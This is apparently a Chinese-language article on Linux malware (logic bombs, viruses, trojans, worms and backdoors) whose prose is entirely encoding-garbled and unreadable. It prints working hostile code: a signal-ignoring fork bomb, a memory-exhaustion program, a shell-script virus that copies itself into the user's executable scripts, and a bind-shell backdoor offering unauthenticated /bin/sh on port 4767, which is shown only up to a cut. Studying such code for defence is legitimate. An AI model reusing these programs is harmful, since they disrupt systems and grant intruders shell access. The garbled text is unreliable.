Ê×ÏÈ£¬ÈÃÎÒÃÇ¿´¿´µ±Âß¼­Õ¨µ¯ÔÚLinux»úÆ÷ÉÏÖ´ÐÐʱÄÜ´øÀ´ÔõÑùµÄΣº¦¡£ÏÔ¶øÒ×¼û£¬ÕâÒÀÀµÓÚËùÏ£Íû´ïµ½µÄЧ¹ûºÍÆô¶¯ËüµÄÓû§Éí·ÝµÄÌØÈ¨¡£

ÖÁÓÚÂÛ¼°ÏµÍ³ÎļþµÄË𻵻òÕß»úÃÜÊý¾ÝµÄ¶ÁÈ¡£¬ÎÒÃÇ»áÓÐÁ½ÖÖÇéÐΡ£Èç¹ûÕ¨µ¯ÒÔrootÉí·ÝÖ´ÐУ¬Ëü»áÓµÓÐÔÚ»úÆ÷ÉϵÄ×î¸ßȨÁ¦£¬°üÀ¨É¾³ýÿ¸ö·ÖÇøÒÔÖÁÈçÉÏÃæËùÌáµ½µÄÒ»Ñù¸øÓ²¼þÔì³ÉÓÀ¾ÃµÄÉ˺¦¡£Èç¹ûËüÊÇÔÚÈÎºÎÆäËüÓû§Éí·ÝÏÂÆô¶¯£¬ÄÇôËüËùÔì³ÉµÄÆÆ»µ²»»á³¬³öÓû§µÄȨÏÞÖ®Íâ¡£ËüÖ»ÄÜÆÆ»µÊôÓÚ¸ÃÓû§µÄÊý¾Ý¡£ÔÚ´ËÖÖÇéÐÎÏ£¬Ã¿¸öÈ˹ÜÀíËû×Ô¼ºµÄÎļþ¡£Ò»¸ö¾¡Ö°µÄϵͳ¹ÜÀíÔ±ÒÔrootÉí·ÝÖ»ÔËÐкÜÉÙµÄÈÎÎñ£¬ÕâÑù¿ÉÒÔ¼õÉÙÔÚ¸ÃÕ˺ÅÏÂÆô¶¯Âß¼­Õ¨µ¯µÄ¿ÉÄÜÐÔ¡£

LinuxϵͳÔÚ˽ÓÐÊý¾ÝºÍÓ²¼þ´æÈ¡µÄ±£»¤ÉÏ×öµÃÏ൱²»´í£¬²»¹ýËü¶ÔÓÚÄÇЩ²ÉÓúľ¡´óÁ¿×ÊÔ´ÒÔʹϵͳÎÞ·¨¹¤×÷µÄ¹¥»÷Ãô¸Ð¡£ÀýÈ磬ÒÔϵÄC³ÌÐò¾ÍºÜÄÑÍ£ÏÂÀ´£¬¼´Ê¹ÊÇÒÔÆÕͨÓû§Æô¶¯Ò²Èç´Ë£¬ÕâÑù£¬Èç¹ûÓû§Ê¹ÓõĽø³ÌÊýûÓÐÏÞÖÆ£¬Ëü»á¡°³Ô¾¡¡±½ø³Ì±íÖÐËùÓеĿÉÓÃÌõÄ¿²¢×èÖ¹ÈκÎÁ¬½Ó³¢ÊÔɱËÀËü£º

  #include <signal.h>
  #include <unistd.h>

  int
main (void)
{
  int i;
  for (i = 0; i < NSIG; i ++)
    signal (i, SIG_IGN);
  while (1)
    fork ();
}

Äã¿ÉÒÔ¶ÔÓû§ÊµÊ©µÄÏÞÖÆ£¨Ê¹ÓÃsetrlimit()ϵͳµ÷ÓúÍshellulimitº¯Êý£©ÄÜËõ¶Ì´ËÀà³ÌÐòµÄÊÙÃü£¬µ«ÊÇËüÃÇÖ»ÔÚ¾­¹ýÒ»¶Îʱ¼äºó²ÅÆð×÷Óã¬ÔÚ´ËÆÚ¼äÄÚ£¬ÏµÍ³ÊÇÎÞ·¨µ½´ïµÄ¡£

»¹ÊÇͬÑùµÄÔ­Òò£¬ÈçϵijÌÐòºÄ¾¡ËùÓпÉÓõÄÄڴ沢ѭ»·ÔËÐС°³Ôµô¡±CPUÖÜÆÚ£¬Õâ¸øÆäËü½ø³ÌÔì³É¼«´óµÄ¸ÉÈÅ¡£

  #include <stdlib.h>

  #define LG      1024

  int
main (void) {
  char * buffer;
  while ((buffer = malloc (LG)) != NULL)
     memset (buffer, 0, LG);
  while (1)
    ;
}

ͨ³£¸Ã³ÌÐò¿ÉÒÔͨ¹ý×îÐÂÄں˵ķ¢²¼°æ±¾ÖеÄÐéÄâÄÚ´æ¹ÜÀí»úÖÆÀ´×Ô¶¯É±ËÀ¡£²»¹ýÔÚ´Ë֮ǰ£¬É±ËÀÆäËüÈÎÎñµÄÄÚºËÐèÒª´óÁ¿µÄÄÚ´æºÍ¶ÌÔݵÄÍ£Ö¹»î¶¯£¨ÀýÈçX11Ó¦ÓóÌÐò£©¡£´ËÍ⣬ËùÓÐÆäËüÐèÒªÄÚ´æµÄ½ø³ÌÎÞ·¨µÃµ½Âú×㣬Õâ³£³£»áµ¼ÖÂËüÃÇÖÕÖ¹ÔËÐС£

½ÁÂÒÍøÂ粿¼þÔËÐÐÒ²ºÜÈÝÒ×£¬¿ÉÒÔʹÓò»¶ÏµÄÁ¬½ÓÇëÇóÀ´Ê¹ÏàÓ¦µÄ¶Ë¿Ú¹ýÔØ¡£±ÜÃâËüµÄ·½·¨ÊÇÓУ¬²»¹ýËüÃÇͨ³£ÒªÓɹÜÀíÔ±À´Ö´ÐС£ÓÉ´Ë£¬ÎÒÃÇ»á×¢Òâµ½ÔÚLinuxÏ£¬¼´±ãÓÉÆÕͨÓû§Æô¶¯µÄÂß¼­Õ¨µ¯ÆÆ»µ²»Á˲»ÊôÓÚËûµÄÎļþ£¬µ«Ëü»¹ÊÇÊ®·ÖÌÖÑá¡£½«Ò»Ð©fork(),malloc()ºÍconnect()×éºÏÆðÀ´ÔËÐÐ×ãÒÔ¶ÔϵͳºÍÍøÂç·þÎñ´øÀ´³ÁÖØµÄѹÁ¦¡£

 

²¡¶¾

Ö÷Ìâ:Unix²¡¶¾

Äã½ÓÊÕµ½Unix²¡¶¾¡£

±¾²¡¶¾ÒÀÕÕЭ×÷Ô­Ôò¹¤×÷:

Èç¹ûÄãʹÓÃLinux»òÕßUnix£¬Ç뽫´ËÓʼþת·¢¸øÄãµÄÅóÓѲ¢Ëæ»úµØÆÆ»µÄãϵͳÉϵÄһЩÎļþ¡£

Ʋ¿ªÄǸöÆÕ±éµÄ¿´·¨²»ÂÛ£¬²¡¶¾È·ÊÇLinuxϵÄÒ»ÏîÍþв¡£¸÷ÖÖÀàÐ͵IJ¡¶¾¶¼ÓС£ÔÚLinuxϲ¡¶¾ÕÒ²»µ½´«²¥µÄÓÐÒæÍÁÈÀ£¬Õâµ¹ÊÇû´íµÄ¡£Ê×ÏÈ£¬ÈÃÎÒÃÇ¿´¿´²¡¶¾ÔÚ»úÆ÷ÉÏ×ÌÉúµÄ½×¶Î¡£²¡¶¾´úÂë±ØÐëÔÚ´ËÖ´ÐС£ÕâÒâζ×ÅÒ»¸ö±»ÇÖÊ´µÄ¿ÉÖ´ÐÐÎļþ´ÓÆäËü»úÆ÷¸´ÖƹýÀ´ÁË¡£ÔÚLinuxÊÀ½çÖУ¬Ìṩһ¸öÓ¦ÓóÌÐò¸øÄ³È˵ij£¹æ×ö·¨ÊǸøËûÈí¼þËùÔÚµÄURL£¬¶ø²»ÊÇ·¢¸øËûÖ´ÐÐÎļþ¡£ÕâÒâζ×ÅÀ´×Ô¹Ù·½Õ¾µãµÄ²¡¶¾ºÜ¿ì¾ÍÄÜÕì²âµ½¡£Ò»µ©»úÆ÷±»¸ÐȾ¶ø´«²¥²¡¶¾£¬ËüÈÔ½«ÓÃ×÷Ô¤±àÒëÓ¦ÓóÌÐòµÄ·¢²¼Æ½Ì¨£¬ÕâÊǼ«Îªº±¼ûµÄ¡£Êµ¼ÊÉÏ£¬¶ÔÓÚ×ÔÓÉÈí¼þÊÀ½çÖеÄÂß¼­Õ¨µ¯¶øÑÔ£¬¿ÉÖ´ÐÐÎļþ²¢·ÇºÃµÄ´«Êä½éÖÊ¡£

ÖÁÓÚÌáµ½ÔÚ»úÆ÷ÄÚ²¿µÄ´«²¥£¬ºÜÃ÷ÏÔ£¬Ò»¸ö±»ÇÖÊ´µÄÓ¦ÓóÌÐòÖ»ÄÜ´«È¾¸øÔËÐиóÌÐòµÄÓû§¾ßÓÐдȨÏÞµÄÎļþ¡£Ö»ÔÚÍê³ÉÄÇЩȷʵÐèÒªÌØÈ¨µÄ²Ù×÷ʱ²ÅÒÔrootÉí·Ý¹¤×÷µÄ´ÏÃ÷µÄ¹ÜÀíÔ±²»´ó¿ÉÄÜÔÚÁ¬½Óµ½´ËÉí·ÝÏÂʱÔËÐÐеÄÈí¼þ¡£³ýÁ˰²×°Set-UID rootÓ¦ÓóÌÐòʱ»á¸ÐȾ²¡¶¾Ö®Í⣬·çÏÕ¿ÉÒÔ´ó´ó¼õС¡£µ±ÆÕͨÓû§½«ÒªÔËÐÐÒ»¸ö±»¸ÐȾµÄ³ÌÐòʱ£¬²¡¶¾Ö»»á×÷ÓÃÓÚÊôÓÚ¸ÃÓû§µÄÎļþ£¬Õâ¿ÉÒÔ·ÀÖ¹Æä¸ÐȾϵͳʵÓóÌÐò¡£

ÌÈÈô˵ºÜ³¤Ê±¼äÄÚUnixϵIJ¡¶¾±»ÊÓ×÷ÎÚÍаîµÄ»°£¬ÄÇÒ²ÊÇÒòΪ´¦ÀíÆ÷£¨Ö®ºóÊÇ»ã±àÓïÑÔ£©ºÍ¿âÎļþ£¨Ö®ºóÊǶÔÏóÒýÓ㩵ĶàÑùÐÔÏÞÖÆÁËÔ¤±àÒë´úÂëµÄ×÷Ó÷¶Î§¡£½ñÌìÔò²¢·ÇÈç´Ë£¬Ò»¸ö¸ÐȾi386´¦ÀíÆ÷LinuxµÄÓÃGlibc 2.1±àÒëµÄELFÎļþµÄ²¡¶¾»áÕÒµ½Ðí¶àÄ¿±ê¡£³ý´ËÖ®Í⣬²¡¶¾±àдµÄÓïÑÔ¶ÀÁ¢ÓÚÖ´ÐÐËüµÄÖ÷»ú¡£±ÈÈç˵£¬Õâ¶ùÓÐÒ»¸öÕë¶Ôshell scriptsµÄ²¡¶¾¡£ËüÊÔͼÇÖÈëÆäÆô¶¯Ä¿Â¼ÏÂÿ¸öshell½Å±¾¡£ÎªÁ˱ÜÃâ¶à´Î¸ÐȾͬһ½Å±¾£¬²¡¶¾ºöÂÔÔÚµÚ¶þÐÐÓÐ×¢ÊÍ¡°infectd¡±»ò¡°vaccinated¡±µÄÎļþ¡£

#! /bin/sh
# infected

( tmp_fic=/tmp/$$
candidates=$(find . -type f -uid $UID -perm -0755)
for fic in $candidates ; do
        exec < $fic
        # Let's try to read a first line,
        if  ! read line ; then
                continue
        fi
        # and let's check it is a shell script.
        if [ "$line" != "#!/bin/sh" ] && [ "$line" != "#! /bin/sh" ] ; then
                continue
        fi
        # Let's read a second line.
        if ! read line ; then
                continue
        fi
        # Is the file already infected or vaccinated ?
        if [ "$line" == "# vaccinated" ] || [ "$line" == "# infected" ] ; then
                continue
        fi
        # Otherwise we infect it: copy the virus body,
        head -33 $0 > $tmp_fic
        # and the original file.
        cat $fic >> $tmp_fic
        # Overwrite the original file.
        cat $tmp_fic > $fic
done
 rm -f $tmp_fic
) 2>/dev/null &

²¡¶¾²¢²»¹ØÐÄÒþ²Ø×ÔÉí»òÆä²Ù×÷£¬³ý·ÇËüÊÇÔÚºǫִ́ÐжøÈÃԭʼ½Å±¾À´Íê³ÉËüµÄ³£¹æ¹¤×÷¡£µ±È»£¬²»ÒªÒÔrootÉí·ÝÔËÐиýű¾£¡ÌرðÊÇÈç¹ûÄãÓÃfind .Ìæ»»ÁËfind /¡£Õâ¸ö³ÌÐò²»½ö¼ò½à£¬¶øÇÒËüºÜÈÝÒ×·ÅÈÎÆä¿ØÖÆ£¬ÌرðÊÇÈç¹ûϵͳ°üº¬´óÁ¿¶¨ÖƵÄshell½Å±¾¡£

±í1Öк¬ÓÐLinuxÏÂÖªÃû²¡¶¾µÄÏà¹ØÐÅÏ¢¡£Í¨¹ýÔÚÎļþÍ·²åÈëÆä´úÂë²¢·µ»ØÔ­Ê¼´úÂëµÄÊ£Óಿ·Ö£¬ËüÃǶ¼¿É¸ÐȾELF¿ÉÖ´ÐÐÎļþ¡£³ý·Ç¸æÖª£¬·ñÔòËüÃÇ»áÔÚϵͳĿ¼Ï²éÕÒDZÔÚµÄÄ¿±ê¡£´Ó´Ë±íÖУ¬Äã¿ÉÒÔ×¢Òâµ½ÔÚLinuxϵIJ¡¶¾¼´Ê¹Ã»ÓÐÌ«¶à¸æ¾¯£¬Ò²¼û²»×ÅÆäÏÔɽ¶ˮ£¬Ö÷ÒªÊÇÒòΪĿǰΪֹ²¡¶¾¶¼ÊÇÎÞº¦µÄ¡£

Table 1 - LinuxϵIJ¡¶¾
Ãû³Æ Âß¼­Õ¨µ¯ ±¸×¢
Bliss ±íÃæÎ޻ Èç¹ûµ÷ÓÃÑ¡Ïî--bliss-disinfect-files-please£¬¿É×Ô¶¯Ïû³ý¶Ô¿ÉÖ´ÐÐÎļþµÄ¸ÐȾ¡£
Diesel ÎÞ  
Kagob ÎÞ Ê¹ÓÃÁÙʱÎļþÀ´Ö´ÐÐÒѸÐȾµÄԭʼ³ÌÐò
Satyr ÎÞ  
Vit4096 ÎÞ Ö»¸ÐȾµ±Ç°Ä¿Â¼µÄÎļþ¡£
Winter ÎÞ ²¡¶¾´úÂëΪ341×Ö½Ú¡£Ö»¸ÐȾµ±Ç°Ä¿Â¼ÖеÄÎļþ¡£
Winux ÎÞ ¸Ã²¡¶¾ÓÐÁ½ÖÖ²»Í¬´úÂ룬¿É·Ö±ðÓÃÀ´¸ÐȾWindowsÎļþºÍElf LinuxÎļþ¡£²»¹ýËü²»ÄÜ̽²â³ýÁË×ÔÉíËùÔÚ·ÖÇøÖ®ÍâµÄÆäËü·ÖÇø£¬Õâ¼õÉÙÁËÆä´«²¥µÄ»úÂÊ¡£
ZipWorm ÔÚÆä·¢ÏÖµÄZipÎļþÖвåÈëÒ»¹ØÓÚLinuxºÍWindowsµÄ¡°ÓÕ¶ü£¨troll£©¡±Îı¾¡££¨¡°troll¡±=ÈðµäÉñ»°ÖеÄÒ»ÖÖС°«ÈË£¨ÒëÕß×¢£º°®¶ñ×÷¾ç¶øÌ¬¶ÈÓѺõÄÙªÈ壩£©  

Äã»á×¢Òâµ½¡°Winux¡±²¡¶¾¼ÈÄܹ»ÔÚWindowsÒ²ÄÜÔÚLinuxÏ´«²¥¡£ËüÊÇÒ»ÖÖÎÞº¦µÄ²¡¶¾£¬ÓëÆä˵ÊÇÒ»ÖÖʵ¼ÊΣÏÕ£¬²»Èç˵ÊÇÒ»ÖÖ¿ÉÄÜÐÔµÄÑéÖ¤¡£²»¹ý£¬µ±ÄãÏëµ½ÕâÑùµÄÒ»¸öÈëÇÖÕßÄܹ»´ÓÒ»¸ö·ÖÇøÌøµ½ÁíÒ»¸ö·ÖÇø£¬Ê¹ÓÃSamba·þÎñÆ÷ÈëÇÖ²»Í¬ÀàÐ͵ÄÍøÂçµÈµÈ£¬Äã¾Í»á¶ÔÕâÖÖÉè¼Æ¸Ðµ½²»º®¶øÀõÁË¡£ÒªÏëÁ¬¸ù²ù³ýÊÇÒ»¼þºÜÍ´¿àµÄÊÂÇ飬ÒòΪÐèÇóµÄ¹¤¾ß±ØÐë¿ÉͬʱÓÃÓÚÁ½Ààϵͳ¡£Ó¦ÓèÖØÊÓµÄÊÇ£¬Èç¹ûLinux·ÖÇø¿ÉÒÔÓÉÔËÐÐÓÚWindowsϵIJ¡¶¾·ÃÎʵϰ£¬ÄÇôLinuxÓÃÀ´×èÖ¹ÔÚÆÕͨÓû§Éí·ÝÏÂÔËÐеIJ¡¶¾ÆÆ»µÏµÍ³ÎļþµÄ±£»¤»úÖÆ¾ÍÐÎͬÐéÉèÁË¡£

ÈÃÎÒÃÇÇ¿µ÷ÕâÒ»µã£ºÈç¹ûÄã´Ó×îÖÕµÄ¶àÆ½Ì¨²¡¶¾×¤ÁôµÄWindows·ÖÇøÖØÐÂÆô¶¯»úÆ÷£¬ÄÇôÄãÔÚLinuxÏÂËù×öµÄÿÏî·À·¶¹ÜÀí¶¼ÊǺÁÎÞÓô¦µÄ¡£¶ÔÓÚÿ̨ʹÓÃË«Òýµ¼Æô¶¯Á½¸ö²Ù×÷ϵͳµÄ»úÆ÷¶øÑÔÕâ¶¼ÊǸöÎÊÌ⣻ÕûÌåµÄ±£»¤ÍêÈ«ÒÀÀµÓÚ×î´àÈõµÄÄǸöϵͳµÄ°²È«»úÖÆ¶ø¶¨£¡Î¨Ò»µÄ½â¾ö·½·¨ÊÇʹÓüÓÃܵÄÎļþϵͳÀ´×èÖ¹ÈκÎWindowsÓ¦ÓóÌÐò·ÃÎÊLinux·ÖÇø¡£ÕâÖÖ²¡¶¾ÉÐδ¹ãΪ´«²¥£¬²»¹ýÎÒ´ò¶Ä˵¹¥»÷δ¹ÒÔØ·ÖÇøµÄ²¡¶¾½«ºÜ¿ì³ÉΪLinux»úÆ÷ÉÏÖØ´óÍþвµÄ´ú±í¡£

 

ÌØÂåÒÁľÂí

ÌØÂåÒÁľÂíºÍ²¡¶¾Ò»Ñù¿ÉÅ£¬ÈËÃÇËÆºõ¶ÔËü¸üΪ¾¯Ìè¡£Óëͨ¹ý²¡¶¾´«²¥µÄÂß¼­Õ¨µ¯²»Í¬£¬ÔÚÌØÂåÒÁľÂíÖз¢ÏÖµÄÂß¼­Õ¨µ¯¶¼ÊÇÈËÃÇÓÐÒâ²åÈëµÄ¡£ÔÚ×ÔÓÉÈí¼þÊÀ½çÖУ¬´ÓһС¶Î´úÂëµÄ×÷Õßµ½×îÖÕµÄÓû§¶¼»áÊܵ½Ò»¸ö»òÁ½¸öЭµ÷Õߣ¨±ÈÈç˵ÏîÄ¿µÄ¸ºÔðÈ˺ͷ¢²¼°æ±¾µÄ³ï±¸ÈË£©µÄÔ¼Êø¡£Èç¹û·¢ÏÖÁËÌØÂåÒÁľÂí£¬ÄÇôºÜÈÝÒ××¥µ½¡°×ï·¸¡±¡£

×ÔÓÉÈí¼þÒò¶ø¿ÉÒÔÊ®·ÖÓÐЧµØ·À·¶ÌØÂåÒÁľÂí¡£µ«ÊÇÎÒÃÇÌÖÂÛµÄ×ÔÓÉÈí¼þ£¬ÕýÈçÎÒÃǽñÌìËùÖªµÀµÄ£¬ÊÇÖ¸ÄÇЩ¾ß±¸ÏîÄ¿¹ÜÀí£¬ÉÆÓÚ½ÓÄɵĿª·¢ÕߺÍÏà¹ØwebÕ¾µãµÄÈí¼þ¡£ÕâÓë¹²ÏíÈí¼þ»òÃâ·ÑÈí¼þ´óÓв»Í¬£¬ÕâЩÈí¼þ¶¼ÊÇÔ¤±àÒëºÃµÄ£¬ÒÔÒ»ÖÖÎÞÕþ¸®µÄ·½Ê½ÓÉÉϰٸöwebÕ¾µã·¢²¼£¨»òÕßͨ¹ýÔÓÖ¾¸½´øµÄCD·¢²¼£©£¬Æä×÷ÕßÖ»ÄÜͨ¹ýÒ»¸öºÜÈÝÒ×αÔìµÄe-mailµØÖ·¶ø»ñϤ£»ÕâЩ¶¼Ê¹µÃÌØÂåÒÁľÂí¿ÉÒÔ¿É¿¿µØÉú´æ¡£

ÎÒÃÇӦעÒâµ½ÕâÑùÒ»¸öÊÂʵ£¬ÓµÓÐÓ¦ÓóÌÐòµÄÔ´´úÂëÇÒ½øÐбàÒë²¢²»ÄÜ×÷Ϊ°²È«µÄ±£Ö¤¡£ÀýÈ磬ÓꦵÄÂß¼­Õ¨µ¯¿ÉÒÔÒþ²ØÔÚ"configure"½Å±¾ÖУ¨ÔÚÔËÐÐ"./configure; make"ʱµ÷Óã©£¬¶øÕâÑùµÄ½Å±¾Í¨³£»áÓдóÔ¼2000Ðг¤!×îÆðÂ뵫²¢·Ç×î×ã¹»µÄ±£Ö¤£¬Ó¦ÓóÌÐòµÄÔ´´úÂëÓ¦ÊǸɾ»µÄ²¢ÄܱàÒ룻²»¹ýÕ⻹ÊÇÎÞ·¨×èÖ¹MakefileÒþ²ØÂß¼­Õ¨µ¯£¬²¢ÔÚ×îºóÔËÐÐ"make install"ʱ¼¤»î×ÔÉí£¬¶øÕâͨ³£ÕýÊÇÒÔrootÉí·ÝÔËÐеģ¡

×îºó£¬²¡¶¾ºÍÌØÂåÒÁľÂíÔÚWindowsÏÂ×÷ËîµÄÒ»¸öÖØÒª²¿·ÖÊÇÉæ¼°ÎĵµÊ±µÄºêÖ´ÐС£ÔÚLinuxÏµĹ¤×÷³ÌÐò°üÊDz»ÄܽâÎöÕâЩºêµÄ£¬ÖÁÉÙĿǰΪֹÊÇÕâÑù£¬Óû§¶Ìʱ¼äÄܵõ½Ò»ÖÖÑÔ¹ýÆäʵµÄ°²È«¸Ð¡£µ½Ä³¸öʱºò£¬ÕâЩ¹¤¾ß»áÄܹ»Ö´ÐаüÀ¨ÔÚÎĵµÖеÄBasicºê¡£Éè¼ÆÕßÈÃÕâЩºêÔÚϵͳÉÏÔËÐÐÃüÁî³ÙÔç»á±»Ö¤Ã÷ÊǸöÔã¸âµÄÖ÷Òâ¡£µ±È»£¬¶ÔÓÚ²¡¶¾£¬ÆÆ»µµÄЧӦ»áÊܵ½Óû§ÌØÈ¨µÄÏÞÖÆ£¬µ«Êǿɿ¿ÏµÍ³Îļþ£¨ÖÁÉÙ°²×°CDÉÏ»¹ÓУ©µÄÊÂʵ¶ÔÓÚÄÇЩ¸Õ¸Õ¶ªÊ§ÁËËûµÄÎĵµ¡¢Ô´ÎļþºÍÓʼþ¶ø±¸·ÝÓÖÊÇÒ»¸öÔÂ֮ǰµÄÓû§À´Ëµ£¬²»»á´øÀ´¶àÉÙ°²Î¿¡£

ÔÚ½áÊø¹ØÓÚÊý¾ÝÖÐÌØÂåÒÁľÂíµÄÕâ¸ö²¿·Ö֮ʱ£¬ÎÒÃÇӦעÒâµ½£º×ÜÊÇÓз½·¨À´·³ÈÅÓû§µÄ£¬¼´Ê¹²»ÊÇÓк¦µÄ£¬¼´Ê¹ÓÐЩÎļþ»¹ÐèÒª½âÊÍ¡£ÔÚUsenetÉÏ£¬Äã¿ÉÒÔ¿´µ½£¬²»Ê±µØÑ¹ËõÎļþ»á×ÔÎÒ·±Ö³Îª´óÁ¿ÎļþÖ±µ½´ïµ½´ÅÅ̵ı¥ºÍ¡£ÓÐЩPostscriptÎļþÒ²Äܹ»×èÈû½âÊͳÌÐò£¨ghostscript»ògv£©¶øÏûºÄCPUʱ¼äÖÜÆÚ¡£ÕâЩ²¢Ã»ÓÐΣº¦£¬²»¹ýËüÃÇÈÃÓû§ÓÃʱÎÞ·¨±£Ö¤¶øÇÒÈÅÈ˲»Ç³¡£

 

È䳿

ÔÚ1988 InternetÈ䳿ÎÊÊÀ֮ʱ£¬»¹Ã»ÓÐLinux´æÔÚ£»Linux±¾Ó¦³ÉΪÕâÖÖ¹¥»÷µÄ×î¼ÑÑ¡Ôñ£¬µ«×ÔÓÉÈí¼þÔ´´úÂëµÄ´æÔÚʹµÃËÑË÷©¶´±äµÃ·Ç³£ÈÝÒ×£¨ÀýÈ磬»º³åÇøÒç³ö£©¡£±àдһ¸ö¡°¸ßÖÊÁ¿¡±È䳿µÄ¸´ÔÓÐÔ¼õÉÙÁËÄÇЩÔÚLinuxÏÂÕæÕý»îÔ¾µÄÈËÊý¡£±í2½éÉÜÁËһЩÈ䳿£¬ËüÃǶ¼ÊÇ´«²¥Éõ¹ãµÄ¡£

È䳿¿ÉÒÔÀûÓÃÍøÂç·þÎñÆ÷µÄ©¶´¡£¶ÔÓÚż¶ûÁ¬½Óµ½InternetµÄ¹¤×÷Õ¾¶øÑÔ£¬ÀíÂÛÉÏ·çÏÕҪСÓÚÒ»Ö±Á¬½ÓµÄ·þÎñÆ÷¡£²»¹ý£¬Îª¼ÒÍ¥Óû§ÌṩµÄ½ÓÈëÀàÐÍ£¨Cable£¬SDLµÈµÈ£©µÄ·¢Õ¹ÒÔ¼°Ä¿Ç°ÍøÂç·þÎñ£¨HTTP·þÎñÆ÷£¬ÄäÃûFTPµÈ£©µÄÒ×ʵÏÖÐÔÒâζ×ÅËüºÜ¿ì»á³ÉΪÈËÈËËù¹Ø×¢µÄÄ¿±ê¡£

±í2 - LinuxϵÄÈ䳿
Ãû³Æ ¹¥»÷µÄ©¶´ ±¸×¢
Lion (1i0n) bind ÔÚÈëÇֵĻúÆ÷Éϰ²×°ºóÃųÌÐò(TCP port 10008)ºÍroot-kit¡£·¢ËÍϵͳÐÅÏ¢¸øÒ»¸öÔÚÖйúµÄemailµØÖ·¡£
Ramen lpr, nfs, wu-ftpd ÐÞ¸ÄËüËùÕÒµ½µÄindex.htmlÎļþ
Adore (Red Worm) bind, lpr, rpc, wu-ftpd ÔÚϵͳÉϰ²×°ºóÃųÌÐò²¢·¢ËÍϵͳÐÅÏ¢µ½ÔÚÖйúºÍÃÀ¹úµÄemailµØÖ·¡£°²×°Ò»¸öpsµÄÐ޸İ汾À´Òþ²ØÆä½ø³Ì¡£
Cheese ºÍLionÀàËÆ ¸ÃÈ䳿ÊÇÒ»¸öÕýÅɳÌÐò£¬ÊÇÓÃÀ´¼ì²éºÍɾ³ý±»Lion¿ª·ÅµÄºóÃŵġ£

¹ØÓÚÈ䳿£¬ÎÒÃÇӦעÒâµ½ËüÃǵĴ«²¥Êܵ½Ê±¼äµÄÏÞÖÆ¡£ËüÃÇÖ»ÔÚ´ÓÒ»¸öϵͳ¸´ÖƵ½ÁíһϵͳʱÊÇ¡°»î×ŵġ±£¬¶øÇÒÒòΪÆäÒÀÀµÓÚ×îз¢Ïֵĩ¶´£¬Ä¿±êÓ¦ÓóÌÐòµÄѸËÙÉý¼¶¿ÉÒÔÍ£Ö¹ËüÃǵĴ«²¥¡£ÔÚ²»¾ÃµÄ½«À´£¬¼ÒÓÃϵͳ¿ÉÄÜ»á×Ô¶¯²éѯÏà¹ØµÄwebÕ¾µã£¨Ã¿Ì죩¡ª¡ªÕâÐèÒªÐÅÈΡª¡ªÒÔÔڴ˲éÕÒϵͳӦÓóÌÐòµÄ°²È«²¹¶¡¡£Õâ¶ÔÓÚ±ÜÃâÓû§È«ÌìÒÔϵͳ¹ÜÀíÔ±Éí·Ý¹¤×÷²¢Ê¹Ö®ÄÜЭÖúÖ´ÐÐÍøÂçÓ¦ÓóÌÐòÀ´ËµºÜÓбØÒª¡£

 

ºóÃųÌÐò

ºóÃųÌÐòµÄÎÊÌâÏ൱ÑÏÖØ£¬¼´Ê¹¶ÔÓÚ×ÔÓÉÈí¼þÒ²ÊÇÈç´Ë¡£µ±È»£¬ÒòΪÓÐÁ˳ÌÐòµÄÔ´´úÂ룬ÀíÂÛÉÏÄã¿ÉÒÔ¼ì²éËü×öÁËʲô¡£Êµ¼ÊÉÏ£¬ºÜÉÙÓÐÈËÄܹ»¶Á¶®´ÓInternetÉÏÏÂÔØµÄµµ°¸ÎļþÄÚÈÝ¡£ÀýÈ磬ÏÂÃæµÄС³ÌÐòÌṩÁËÒ»¸öÍêÕûµÄºóÃųÌÐò£¬¿ÉÊÇÆäÈÝÁ¿Ð¡µ½¿ÉÒÔÒþ²ØÓÚÒ»¸ö×ã¹»´óµÄÓ¦ÓóÌÐòÖС£¸Ã³ÌÐòÒý×ÔÎÒµÄÊé[BLAESS 00]£¬ÓÃÓÚ¾ÙÀý˵Ã÷αÖն˵ĻúÖÆ¡£¸Ã³ÌÐò²»ÊǺܺöÁ£¬ÒòΪËüÈ¡ÏûÁË×¢ÊÍÒÔʹ֮¸ü¶Ì¡£¾ø´ó¶àÊý´íÎó¼ì²éÒ²ÒòͬÑùµÄÔ­Òò±»È¥³ýÁË¡£µ±Ö´ÐÐʱ£¬ËüÔڸûúÆ÷µÄÿ¸öÍøÂç½Ó¿ÚµÄ³ÌÐò¿ªÍ·Ö¸¶¨µÄ¶Ë¿Ú£¨Ä¬ÈÏΪ4767£©ÉÏ´ò¿ªÒ»¸öTCP/IP·þÎñÆ÷¡£Ã¿ÌõÇëÇ󵽴˶˿ڵÄÁ¬½Ó»á×Ô¶¯·ÃÎÊÒ»¸öshell¶øÎÞÈκÎÉí·Ý¼ø±ð!!!

    #define _GNU_SOURCE 500
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <termios.h>
    #include <unistd.h>
    #include <netinet/in.h>
    #include <sys/socket.h>

    #define ADRESSE_BACKDOOR  INADDR_ANY
    #define PORT_BACKDOOR     4767

    int
main (void)
{
    int                sock;
    int                sockopt;
    struct sockaddr_in adresse; /* address */
    socklen_t          longueur; /* length */
    int                sock2;
    int        pty_maitre; /* pty_master */
    int        pty_esclave; /* pty_slave */
    char *         nom_pty; /* name_pty */
    struct termios     termios;
    char * args [2] = { "/bin/sh", NULL };
    fd_set         set;
    char           buffer [4096];
    int            n;

    sock = socket (AF_INET, SOCK_STREAM, 0);
    sockopt = 1;
    setsockopt (sock, SOL_SOCKET, SO_REUSEADDR, & sockopt, sizeof(sockopt));
    memset (& adresse, 0, sizeof (struct sockaddr));
    adresse . sin_family = AF_INET;
    adresse . sin_addr . s_addr = htonl (ADRESSE_BACKDOOR);
    adresse . sin_port = htons (PORT_BACKDOOR);
    if (bind (sock, (struct sockaddr *) & adresse, sizeof (adresse)))
        exit (1);
    listen (sock, 5);
    while (1) {
        longueur = sizeof (struct sockaddr_in);
        if ((sock2 = accept (sock, & adresse, & longueur)) < 0)
            continue;
        if (fork () == 0) break;
        close (sock2);
    }
    close (sock);
    if ((pty_maitre = getpt()) < 0) exit (1);
    grantpt  (pty_maitre);
    unlockpt (pty_maitre);
    nom_pty = ptsname (pty_maitre);
    tcgetattr (STDIN_FILENO, & termios);
    if (fork () == 0) {
        /* Son: shell execution in the slave
            pseudo-TTY */
        close (pty_maitre);
        setsid();
        pty_esclave = open (nom_pty, O_RDWR);
        tcsetattr (pty_esclave, TCSANOW, & termios);
        dup2 (pty_esclave, STDIN_FILENO);
        dup2 (pty_esclave, STDOUT_FILENO);
        dup2 (pty_esclave, STDERR_FILENO);
        execv (args [0], args);
